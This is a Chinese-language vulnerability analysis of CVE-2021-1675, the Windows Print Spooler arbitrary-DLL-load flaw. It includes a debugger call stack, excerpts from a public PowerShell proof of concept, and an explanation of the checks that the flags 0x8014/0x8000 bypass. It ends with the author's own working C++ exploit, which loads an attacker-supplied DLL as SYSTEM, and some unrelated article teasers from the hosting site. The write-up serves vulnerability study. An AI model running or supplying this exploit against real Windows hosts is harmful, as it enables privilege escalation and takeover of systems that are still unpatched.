【CVE-2021-1675】Spoolsv打印机服务任意DLL加载漏洞分析

漏洞详情

简介

打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。

影响版本

windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019

危害等级

8.8   ∣   H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8  HIGH

漏洞复现

【环境】 W i n 10   1909   18363.592   x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64

POC下载见参考

非管理员权限下,直接利用漏洞添加一个管理员账户

在这里插入图片描述

漏洞分析

加载任意模块调用栈

# Child-SP          RetAddr               Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233     ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96     ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7     ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608     ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360     ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536     ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8     ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764     ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0     ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1     KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395     winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f     winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5     PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7     PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a     localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864     localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee     localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21     localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4     localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf     localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292     localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf     localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e     spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634     spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983     spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036     RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c     RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8     RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951     RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f     RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301     RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d     RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2     ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4     ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1     KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000     ntdll!RtlUserThreadStart+0x21

POC分析

POC主要做两件事:

  1. 枚举本地Windows x64环境下的所有打印机驱动

    if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){
            $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)
        } else {
            Write-Host "[!] failed to get current driver list"
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
            return
        }
    
  2. 添加打印机驱动

    $driver_info = New-Object $DRIVER_INFO_2
        $driver_info.cVersion = 3
        $driver_info.pConfigFile = $DLL
        $driver_info.pDataFile = $DLL
        $driver_info.pDriverPath = $driver.pDriverPath
        $driver_info.pEnvironment = "Windows x64"
        $driver_info.pName = $DriverName
    
        $pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)
    
        if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {
            if ( $delete_me ) {
                Write-Host "[+] added user $NewUser as local administrator"
            } else {
                Write-Host "[+] driver appears to have been loaded!"
            }
        } else {
            Write-Error "[!] AddPrinterDriverEx failed"
        }
    

重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:

BOOL AddPrinterDriverEx(
  _In_    LPTSTR pName,
  _In_    DWORD  Level,
  _Inout_ LPBYTE pDriverInfo,
  _In_    DWORD  dwFileCopyFlags
);
  • pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。

  • Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。

  • pDriverInfo - 根据Level的取值,该参数对应的结构有

    Level结构体
    2DRIVER_INFO_2
    3DRIVER_INFO_3
    4DRIVER_INFO_4
    6DRIVER_INFO_6
    8DRIVER_INFO_8

    2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。

    typedef struct _DRIVER_INFO_2 {
      DWORD  cVersion;						// 为其编写驱动程序的操作系统版本。 支持的值为 3。
      LPTSTR pName;							// 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。
      LPTSTR pEnvironment;					// 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。
      LPTSTR pDriverPath;					// 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。
      LPTSTR pDataFile;						// 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。
      LPTSTR pConfigFile;					// 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。
    } DRIVER_INFO_2, *PDRIVER_INFO_2;
    
  • dwFileCopyFlags - 含义如下:

    含义
    APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。
    APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。
    APD_COPY_NEW_FILES添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。
    APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。
    APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。

从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx

要想成功添加打印机驱动,中间要通过两处关键检查。

  • S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:

在这里插入图片描述

  • I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:

在这里插入图片描述

最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。

漏洞利用

为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2pDriverPath字段中。然后参数dwFileCopyFlags0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。

我的EXP代码:

#include <iostream>
#include <windows.h>


void Exploit()
{
    const char* pName = "Hack";
    const char* pVenomDll = "Your venmo dll";
    const char* pEnvironment = "Windows x64";
    PDRIVER_INFO_2A pDrvInfo = NULL;
    DRIVER_INFO_2A drvInfo;
    PBYTE pBuffer = NULL;
    DWORD cbNeed = 0;
    DWORD nDrv;
    BOOL bRet;
    // 枚举本地所有Windows x64的打印机
    bRet = EnumPrinterDriversA(
        NULL,
        (LPSTR)pEnvironment,
        2,
        NULL,
        cbNeed,
        &cbNeed,
        &nDrv);

	pBuffer = new BYTE[cbNeed];
	if (pBuffer == NULL)
		goto cleanup;

	bRet = EnumPrinterDriversA(
		NULL,
		(LPSTR)pEnvironment,
		2,
        pBuffer,
		cbNeed,
		&cbNeed,
		&nDrv);

	if (!bRet)
		goto cleanup;

    pDrvInfo = (PDRIVER_INFO_2A)pBuffer;

    for (DWORD i = 0; i < nDrv; i++)
    {
        printf(
            "[+] DriverName: %s\n"
            "    DriverPath: %s\n",
            pDrvInfo[i].pName,
            pDrvInfo[i].pDriverPath
        );
    }

    drvInfo.cVersion = 3;
    drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;
    drvInfo.pConfigFile = (LPSTR)pVenomDll;
    drvInfo.pDataFile = (LPSTR)pVenomDll;
    drvInfo.pEnvironment = (LPSTR)pEnvironment;
    drvInfo.pName = (LPSTR)pName;

    bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);
    if (!bRet)
    {
        printf("[-] ErrorCode: 0x%x\n", GetLastError());
    }

cleanup:
    if (pBuffer)
        delete[] pBuffer;
}

int main()
{
    Exploit();

    return 0;
}

参考

[1] https://github.com/calebstewart/CVE-2021-1675

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/185940.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

华硕灵耀XPro(UX7602ZM)原装Win11系统恢复安装教程方法

华硕灵耀XPro(UX7602ZM)原装Win11系统恢复安装教程方法&#xff1a; 第一步&#xff1a;需要自备华硕6个底包工厂安装包&#xff08;EDN.KIT.OFS.SWP.HDI.TLK&#xff09;或者自己备份的iso/esd/wim等镜像恢复 支持系列&#xff1a; 灵耀系列原装系统 无畏系列原装系统 枪…

原型 原型对象 原型链

在面向开发对象开发过程中对每一个实例添加方法&#xff0c;会使每一个对象都存在该添加方法造成空间浪费 通过对原型添加公共的属性或方法&#xff0c;使所有实例对象都可访问 原型为了共享公共的成员 prototype 原型: JS为每个构造函数提供一个属性prototype(原型),它的值…

黑马点评笔记 分布式锁

文章目录 分布式锁基本原理和实现方式对比Redis分布式锁的实现核心思路实现分布式锁版本一Redis分布式锁误删情况说明解决Redis分布式锁误删问题分布式锁的原子性问题分布式锁-Redission分布式锁-redission可重入锁原理分布式锁-redission锁重试和WatchDog机制分布式锁-redissi…

oled的使用 动态的变量 51

源码均在IIC手写程序中 外部中断实现变量加一 #include "reg52.h" #include "main.h" #include <intrins.h> #include "OLED.h" #include "bmp.h" #include "Delay.h" sbit LED1 P1^0; sbit LED2 P1^1; sbit LED3…

Ubuntu20.04上编译安装TVM

本文主要讲述如何在ubuntu20.04平台上编译TVM代码并在python中import tvm成功。 源代码下载&#xff1a; git clone --recursive https://github.com/apache/tvm tvm 平台环境升级&#xff1a; 1&#xff09; sudo apt-get update 2&#xff09; sudo apt-get install -y pyth…

电源控制系统架构(PCSA)之电源管理基础设施组件

目录 6.5 电源管理基础设施组件 6.5.1 电源策略单元 6.5.2 时钟控制器 6.5.3 低功耗Distributor 6.5.4 低功耗Combiner 6.5.5 P-Channel到Q-Channel转换器 6.5 电源管理基础设施组件 6.5.1 电源策略单元 本节介绍电源策略单元(Power Policy Unit, PPU)。PPU的完整细节见…

我在electron中集成了自己的ai大模型

同学们可以私信我加入学习群&#xff01; 正文开始 前言一、大模型选择二、获取key三、调用api四、调用ai模型api时&#xff0c;解决跨域总结 前言 最近单位把gpt、文心一言、通义千问、星火等等等等你能想到的ai大模型都给禁掉了&#xff0c;简直丧心病狂。 不知道有多少感同…

搭建SRS视频服务器

去官方网站下载FFmpeg6.1 https://ffmpeg.org/download.html拷贝到CentOS7.9中的/opt目录下&#xff0c;解压并重命名 tar -xvf ffmpeg-6.1.tar.xz 解压后编译安装 ./configure make make install从github下载SRS4.0release 解压后 如果ffmpeg的路径不在/usr/local/bin/ffmpe…

698. 划分为k个相等的子集

698. 划分为k个相等的子集 Java&#xff1a;回溯 class Solution {boolean[] used;int target;private boolean backtracking(int[] nums, int k, int sum, int start) {if (k 0) {return true; // 找到&#xff1a;立即中断栈&#xff01;并返回值}if (sum target) { // 构…

VMware Workstation 17 虚拟机自启动失效 解决脚本

VMware Workstation17新增加了虚拟机自启配置 但是很奇怪在我的一台计算机上能够自启&#xff0c;在另一台计算机上就失效 编写脚本 以命令方式完成虚拟机开机自启 #虚拟机自启.batif "%1""hide" goto CmdBegin start mshta vbscript:createobject("w…

LED驱动控制专用电路

一、基本概述 TM1628是一种带键盘扫描接口的LED&#xff08;发光二极管显示器&#xff09;驱动控制专用IC,内部集成有MCU 数 字接口、数据锁存器、LED 驱动、键盘扫描等电路。本产品质量可靠、稳定性好、抗干扰能力强。 主要适用于家电设备(智能热水器、微波炉、洗衣机、空调…

yo!这里是c++11重点新增特性介绍

目录 前言 列表初始化 { }初始化 initializer_list类 类型推导 auto decltype 范围for 右值引用与移动语义 左值引用和右值引用 移动语义 1.移动构造 2.移动赋值 3.stl容器相关更新 右值引用和万能引用 完美转发 关键字 default delete final和override …

数组题目: 665. 非递减数列、453. 最小移动次数使数组元素相等、283. 移动零、189. 旋转数组、396. 旋转函数

665. 非递减数列 题解&#xff1a; 题目要求一个非递减数列&#xff0c;我们可以考虑需要更改的情况&#xff1a; nums {4, 2, 5} 对于这个nums&#xff0c;由于2的出现导致非递减&#xff0c;更改的情况就是要么4调到<2&#xff0c;要么2调到4,5. nums {1, 4, 2, 5} …

Javascript每天一道算法题(十五)——轮转数组_中等(一行解决轮转数组)

文章目录 1、问题2、示例3、解决方法&#xff08;1&#xff09;方法1——while遍历&#xff08;较为复杂&#xff0c;不推荐&#xff09;&#xff08;2&#xff09;方法2&#xff08;直接截取后插入&#xff0c;推荐&#xff09;&#xff08;3&#xff09;方法3——优化方法2&a…

局域网协议:VLAN技术介绍

文章目录 VLAN概述VLAN的优点VLAN的原理VLAN的配置推荐阅读 VLAN概述 VLAN&#xff08;Virtual Local Area Network虚拟局域网&#xff09;是一种在物理网络基础上划分逻辑上独立的局域网的技术。它允许将网络设备按照逻辑上的需求而非物理位置进行分组&#xff0c;提供更好的…

@RequestMapping

目录 作用&#xff1a; 位置&#xff1a; 属性 1.value 2.method 3.params 4.header 作用&#xff1a; 该注解是一个用来处理请求地址映射的注解。 位置&#xff1a; 可用于映射一个请求或一个方法&#xff0c;可以用在类或方法上。 用于方法上&#xff0c;表示在类的…

OSG粒子系统与阴影-雾效模拟(1)

虚拟现实中有很多效果&#xff0c;如雨效、雪效、雾效等&#xff0c;这些都可以通过粒子系统来实现。一个真实的粒子系统的模式能使三维场景达到更好的效果。 本章对OSG粒子系统的使用以及生成自定义粒子系统的方法进行了详细介绍最后还附带说明了阴影的使用方法。在实时的场景…

html幸运大转盘抽奖(附源码)

文章目录 1.设计来源1.1 幸运大转盘 风格11.2 幸运大转盘 风格21.3 幸运大转盘 风格31.4 幸运大转盘 奖品效果1.5 幸运大转盘 活动未开始1.6 幸运大转盘 活动已结束1.7 幸运大转盘 图片源素材 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者&#xff1a;xcLeigh 文章地址&a…

毅速丨3D打印随形水路为何受到模具制造追捧

在模具制造行业中&#xff0c;随形水路镶件正逐渐成为一种革命性的技术&#xff0c;其提高冷却效率、优化产品设计、降低成本等优点&#xff0c;为模具制造带来了巨大的创新价值。 随形水路是一种根据产品形状定制的冷却水路&#xff0c;其镶件可以均匀地分布在模具的表面或内部…

指针运算详解

1.引入 指针的基本运算有三种&#xff0c;分别是&#xff1a; • 指针- 整数 • 指针-指针 • 指针的关系运算 2.指针- 整数 因为数组在内存中是连续存放的&#xff0c;只要知道第⼀个元素的地址&#xff0c;顺藤摸⽠就能找到后⾯的所有元素。 int arr[10] {1,2,3,4,5,…